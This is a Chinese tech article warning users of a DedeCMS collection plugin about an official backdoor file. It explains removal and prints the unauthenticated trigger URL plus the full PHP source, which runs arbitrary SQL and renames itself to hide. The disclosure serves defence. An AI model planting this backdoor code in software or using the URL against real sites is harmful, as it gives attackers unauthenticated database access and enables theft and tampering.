去除官方後門方法:安裝好採集大師後,請立即刪除 include目錄下的dedesql.query.php檔案,如已經安裝過,有可能檔案已被改名為arc.sqlquery.class.php,找到並刪除即可。此檔案可被利用來在無需登入驗證的情況下查詢網站資料庫,並進行更新、刪除、查詢資料等操作。大家也可以自己測試一下是否如我所說,方法:
http://你的網域名稱.com/include/dedesql.query.php.php?dopost=viewinfo
輸入以上網址,即可開啟後門介面。
說實話,會故意留後門的程式,最好的方法就是別用。這個後門被發現了,天知道下一個所謂的新版本還會不會冒出更多的後門來。此後門檔案代碼如下:
複製代碼 代碼如下:
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功!";
}else{
echo "失敗!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "沒有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "".trim($ctinfo)."";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne('Select * From `dede_homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,'w') or die("無法更新網站首頁到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "成功更新首頁!";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "刪除'資料表'或'資料庫'的語句不允許在這裡執行。";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "運行SQL:{$sqlquery},無返回記錄!";
}
else
{
echo "運行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."條記錄,最大返回100條!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "";
echo "記錄:$j";
echo "";
foreach($row as $k=>$v)
{
echo "{$k}:{$v}
\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "執行: $q 出錯,錯誤提示:".$errCode."
";
}
}
echo "成功執行{$i}個SQL語句!
";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功執行1個SQL語句!
";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '
SQL命令列工具
';}
?>
http://www.bkjia.com/PHPjc/322870.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/322870.htmlTechArticle去除官方後門方法:安裝好採集大師後,請立即刪除 include目錄下的dedesql.query.php檔案,如已經安裝過,有可能檔案已被改名為arc.sqlquery.cl...